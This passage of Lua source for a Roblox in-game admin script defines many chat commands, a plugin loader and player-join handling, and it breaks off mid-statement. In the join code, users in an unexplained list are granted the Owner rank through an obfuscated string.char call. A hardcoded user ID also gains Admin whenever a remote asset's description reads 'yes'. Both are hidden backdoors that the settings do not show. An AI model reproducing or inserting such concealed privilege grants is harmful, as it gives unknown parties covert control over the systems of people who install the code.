function(Speaker, Rank, Arguments) local WaypointHolder,WaypointRaw = {},{} for Name, WP in pairs(Waypoints) do local View = Name..": "..tostring(WP) table.insert(WaypointHolder, View) WaypointRaw[View] = WP end local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map") Clicked.Event:connect(function(Text) local Waypoint = WaypointRaw[Text] if Waypoint then if Speaker.Character then Speaker.Character:MoveTo(Waypoint) end end end) end}; [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local List = {} for _,Player in pairs(Players) do table.insert(List, Player.Name.." (ID: "..Player.UserId..")") end GUI:ListGui(Speaker, "Listed Players", List) end}; [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments) if tonumber(Arguments[1]) then ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end) else local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end) end end end}; [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local Friends,OneFriend = {}, false for _,Player in pairs(Players) do for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then --[[if Player:IsBestFriendsWith(User.UserId) then table.insert(Friends, Player.Name.." is best friends with "..User.Name) OneFriend = true ]] if Player:IsFriendsWith(User.UserId) then table.insert(Friends, Player.Name.." is friends with "..User.Name) OneFriend = true end if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then table.insert(Friends, Player.Name.." has no friends in this server (Loner)") end end end end GUI:ListGui(Speaker, "Friend List", Friends) end}; [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments) Settings.ServerLocked = true GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock") end}; [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments) Settings.ServerLocked = false GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402) end}; [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments) local OldAge = Settings.MinimumAge local Age = tostring(Arguments[1]) if Age then Settings.MinimumAge = Age GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10) end end}; [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments) if Settings.VIPAdminID <= 1 then MARKET:PromptPurchase(Speaker, VIPAdminID) else CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7) end end}; [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments) if Settings.VIPMemberID <= 1 then MARKET:PromptPurchase(Speaker, VIPMemberID) else CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7) end end}; [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments) if tonumber(Arguments[2]) then local Players = STRING:Scan(Arguments[1], Speaker) local Size = tonumber(Arguments[2])+25 for _,Player in pairs(Players) do if Player.Character then if Player.Character:FindFirstChild("Head") then if Player.Character.Head:FindFirstChild("Mesh") then Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100) end end end end end end}; [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position) Player.Character.Parent = nil CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker}) end end end}; [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments) GUI:SettingsGui(Speaker) end}; [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) if tonumber(Arguments[2]) then local Players = STRING:Scan(Arguments[1], Speaker) local List = {} for _,Player in pairs(Players) do if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then table.insert(List, Player.Name) end end GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171) end end}; [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Head") then local Char = Player.Character Char:BreakJoints() CORE:ScanItems(Char, {"BasePart"}, function(Obj) Obj.Anchored = true for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do local Decal = Instance.new("Decal", Obj) Decal.Texture = "rbxassetid://178913323" Decal.Face = Face end end) local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1) local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1) Sound1:Play() Sound2:Play() coroutine.wrap(function() coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)() repeat wait() CORE:ScanItems(Char, {"BasePart"}, function(Obj) SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play() Obj.Transparency = math.random(0,30)/100 Obj.Reflectance = math.random(0,50)/100 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))) end) until Char ~= Player.Character or Char.Parent == nil end)() end end end, Hidden = true}; [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments) GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691) end}; [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Obj.Material = "Neon" end) end end end}; [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Obj.Material = "Plastic" end) end end end}; [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj) Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5)) end) end end end, Hidden = true}; [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Pos = Player.Character.Torso.Position Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z)) local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"}) if Answer == "Ok" then CORE:AddWaypoint(Player.Name, Pos, Speaker) end end end end}; [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments) local PlayersFrom = STRING:Scan(Arguments[1], Speaker) local PlayersTo = STRING:Scan(Arguments[2], Speaker) if PlayersFrom and PlayersTo then for _,PlayerFrom in pairs(PlayersFrom) do for _,PlayerTo in pairs(PlayersTo) do if PlayerFrom.Character and PlayerTo.Character then if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function() local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name) wait(5) Laser:Destroy() end)() end end end end end end}; [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid:Destroy() end end end}; [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments) if Plugins then local List = {} for _,Module in pairs(Plugins:GetChildren()) do if Module:IsA("ModuleScript") then local Enabled = Module:FindFirstChild("Enabled") or {Value = false} local Creator = Module:FindFirstChild("Creator") or {Value = "None"} local VersionVal = Module:FindFirstChild("Version") or {Value = 1} table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value)) end end GUI:ListGui(Speaker, "Plugin List", List, "Plugin") else GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5) end end}; [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do GUI:DetachChat(Player) end end}; [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments) GUI:DetachChat(Speaker) end}; [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then local Dead = false Player.Character.Humanoid.WalkSpeed = 1 local Torso = Player.Character.Torso local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p Truck:BreakJoints() local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11) local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)) local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100 Truck.Touched:connect(function(Part) if Dead == false then local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent) if TouchPlayer == Player then Dead = true Player.Character:BreakJoints() SOUND:MakeSound(Truck, 264486467):Play() -- splat end end end) SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn Delay(5, function() Truck:Destroy() if Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.WalkSpeed = 16 end end) end end end}; [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke (HTTP)", 1, "Admin", true, function(Speaker, Rank, Arguments) local Joke = REMOTE:DownloadJoke(Speaker) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do GUI:SendMessage(Player, "Joke", Joke, 19629580) end end}; [{"joke", "laugh"}] = {"player", "Tells speaker a random joke (HTTP)", 0, "Member", true, function(Speaker, Rank, Arguments) local Joke = REMOTE:DownloadJoke(Speaker) GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580) end}; [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then CORE:InvisiblePlayer(Player) local DogContainer = Instance.new("Model", Player.Character) DogContainer.Name = "Doge" local Dog = CORE:Insert(257489726, DogContainer, true) Dog.Head.Transparency = 0.99 Dog.Name = Player.Name Dog:MoveTo(Player.Character.Torso.Position) local Weld = Instance.new("Weld", Dog.Torso) Weld.Part0 = Player.Character.Torso Weld.Part1 = Dog.Torso Weld.C0 = CFrame.new(0,-0.4,0) for _,Obj in pairs(Dog:GetChildren()) do if Obj:IsA("BasePart") then Obj.CanCollide = false end end CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {}) end end end}; [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments) local Key = string.lower(string.sub(Arguments[1],1,1)) KeyBinds[Speaker.UserId][Key] = Arguments[2] GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2]) end}; [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments) local Key = string.lower(string.sub(Arguments[1],1,1)) KeyBinds[Speaker.UserId][Key] = nil GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key") end}; [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments) KeyBinds[Speaker.UserId] = {} GUI:SendHint(Speaker, "Unbinded all keys") end}; [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local Key = string.lower(string.sub(Arguments[2],1,1)) for _,Player in pairs(Players) do KeyBinds[Player.UserId][Key] = Arguments[3] GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3]) end end}; [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local Key = string.lower(string.sub(Arguments[2],1,1)) for _,Player in pairs(Players) do KeyBinds[Player.UserId][Key] = nil GUI:SendHint(Player, "Unbinded the '"..Key.."' key") end end}; [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do KeyBinds[Player.UserId] = {} GUI:SendHint(Player, "Unbinded all keys") end end}; [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local Binds = {} for _,Player in pairs(Players) do for Key,Bind in pairs(KeyBinds[Player.UserId]) do table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind) end end GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411) end}; [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments) local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {} local Players = STRING:Scan(ChatSplit[1], Speaker) for _,Player in pairs(Players) do if Crowns[Player.UserId] then Crowns[Player.UserId]:Destroy() Crowns[Player.UserId] = nil wait() end CORE:Crown(Player, ChatSplit[2], ChatSplit[3]) end end}; [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Crowns[Player.UserId] then Crowns[Player.UserId]:Destroy() Crowns[Player.UserId] = nil end end end}; [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments) local MeshList = {} for MeshName,Data in pairs(Meshes) do table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )") end GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377) end}; [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments) CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end) end}; [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then ypcall(function() Player.Character.Torso.roblox:Destroy() end) Player:ClearCharacterAppearance() CORE:GivePackage(Player, 41851073) CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384" Player.Character.Head.face.Texture = "rbxassetid://7699086" end end end}; [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments) local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end local Car = CORE:Insert(10479801, Server.Workspace, true) local Body = Car["Motor (torque)Chassis"].Part Cars[Player.UserId] = Car Car:MakeJoints() Car.VehicleSeat.MaxSpeed = 50 Car.VehicleSeat.TurnSpeed = 1.5 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end) if Arguments[2] and GUI:GetColor(Arguments[2]) then Body.Color = GUI:GetColor(Arguments[2]) else Body.BrickColor = GUI:GetNameColor(Player.Name) end for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do if Part.Name ~= "Part" then Part.BrickColor = BrickColor.new("Really black") Part.Friction = 0.7 end end local Light = Instance.new("SpotLight", Body) Light.Face = "Back" Light.Brightness = 5 Light.Range = 20 Light.Color = Color3.new(0,1,1) if Player.Character and Player.Character.Torso then Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0)) Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0)) --[[local Weld = Instance.new("Weld", Car.VehicleSeat) Weld.Part0 = Car.VehicleSeat Weld.Part1 = Player.Character.Torso coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]] Delay(0.4, function() Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p wait(0.1) Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p end) end local SoundID = 147944604 if RANK:GetRank(Player) == "Owner" then SoundID = 133313356 Car.VehicleSeat.MaxSpeed = 80 Body.Material = "DiamondPlate" Car.VehicleSeat.Torque = 11 end local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true) Engine:Play() coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1 end if Engine then Engine:Stop() end end)() end end}; [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end end end}; [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments) for _,Car in pairs(Cars) do Car:Destroy() end Cars = {} end}; -- } if Plugins then local PluginNum = 0 for _,Module in pairs(Plugins:GetChildren()) do if Module:IsA("ModuleScript") then local Enabled = Module:FindFirstChild("Enabled") or {Value = false} local Creator = Module:FindFirstChild("Creator") or {Value = "None"} local VersionVal = Module:FindFirstChild("Version") or {Value = 1} if Enabled.Value == true then PluginNum = PluginNum + 1 local PluginExe = require(Module) for Var,Val in pairs(getfenv()) do getfenv(PluginExe)[Var] = Val end getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE getfenv(PluginExe).script = Module getfenv(PluginExe).Script = Module getfenv(PluginExe).Version = Version local Suc, Error = ypcall(coroutine.wrap(PluginExe)) if not Suc then Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module) else Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value) end end end end end function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner) if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then GUI:SettingsGui(Speaker) return nil end if NoPrefixNeeded == nil then NoPrefixNeeded = false end local Prefix = Settings.Prefix if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end if RawMainMessage == "" or RawMainMessage == Prefix then return end if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end if Speaker == nil then if FakeRank then if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then FakeRank = "Owner" end else FakeRank = "Owner" end FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2) if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end Speaker = { Name = FakePlayerName or "[ Server ]"; Character = nil; userId = 1; PlayerGui = nil; Rank = FakeRank or "Owner"; MakeSupremeOwner = MakeSupremeOwner; } end local Rank = RANK:GetRank(Speaker) local RawMessage = string.sub(RawMainMessage, #Prefix+1) if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then if NoPrefixNeeded then Prefix = "" end local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix) for _,Message in pairs(Messages) do for Cmds,Data in pairs(Commands) do -- check all commands local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet) if not MessageSplit then break end local CommandSaid = false for _,Command in pairs(Cmds) do if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said? CommandSaid = true break end end if CommandSaid == true then -- command said? local ExecuteExcuse = "" if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then ExecuteExcuse = "This command cannot be executed as it is a fun command" end if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner" end else ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")" end if ExecuteExcuse == "" then if #MessageSplit - 1 < Data[3] then ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1] end end if ExecuteExcuse == "" then CORE:Log(CommandLogs, Speaker, Message) table.remove(MessageSplit, 1) coroutine.wrap(function() wait() local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end) if not DidExe then if CORE:NilPlayer(Speaker) then print("Error: "..Error) else CORE:HandleError(Error, Speaker) end end end)() coroutine.wrap(function() wait(0.05) if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1) ExeSound:Play() wait(3) ExeSound:Stop() ExeSound:Destroy() end end)() elseif type(Speaker) == "userdata" then GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error") end break end end end end end function CORE:Start(Player) coroutine.wrap(function() wait(0.1) if Player then coroutine.wrap(function() repeat wait(1) until DataReady == true DataReady = false ypcall(function() local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") for Num,Data in pairs(Players) do if Data.UserId == Player.UserId then -- ppl can change names table.remove(Players, Num) break end end table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)}) Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players) end) DataReady = true end)() if not IsStudio then Player:WaitForDataReady() end table.insert(CharacterCache, {Player.Name, Player.UserId}) for Rank,PlayerNames in pairs(Settings.Ranks) do for Num,AdminName in pairs(PlayerNames) do if AdminName == Player.UserId then Settings.Ranks[Rank][Num] = Player.Name end end end if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end local PlayerAdmin, Rank = RANK:IsAdmin(Player) if PlayerAdmin == false and Player.UserId > 0 then local Ran = nil coroutine.wrap(function() repeat Ran = ypcall(function() if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin" elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end end) wait(1) until Ran == true end)() end if PlayerAdmin == false then if Player:IsInGroup(Settings.GroupID) then if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then CORE:Kick(Player) for _,Person in pairs(Server.Players:GetPlayers()) do GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5) end elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin" elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner" end end end if PlayerAdmin == false then if Player.UserId == 38882008 then if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then table.insert(Settings.Ranks["Admin"], Player.Name) end end end if PlayerAdmin == false then for _,GID in pairs(Settings.BannedGroupIDs) do if Player:IsInGroup(GID) then CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID) break end end end Player.Chatted:connect(function(Message) if Message ~= "" then CORE:Chatted(Message, Player) end end) Player.Chatted:connect(function(Message) if Message ~= "" then CORE:Log(ChatLogs, Player, Message) table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message)) end end) for _,Name in pairs(Settings.Ranks.Banned) do if Player.Name == Name then CORE:Kick(Player) for _,Person in pairs(Server.Players:GetPlayers()) do GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5) end end end for _,Name in pairs(Settings.Ranks.Crashed) do if Player.Name == Name then CORE:Crash(Player) for _,Person in pairs(Server.Players:GetPlayers()) do GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5) end end end for _,Name in 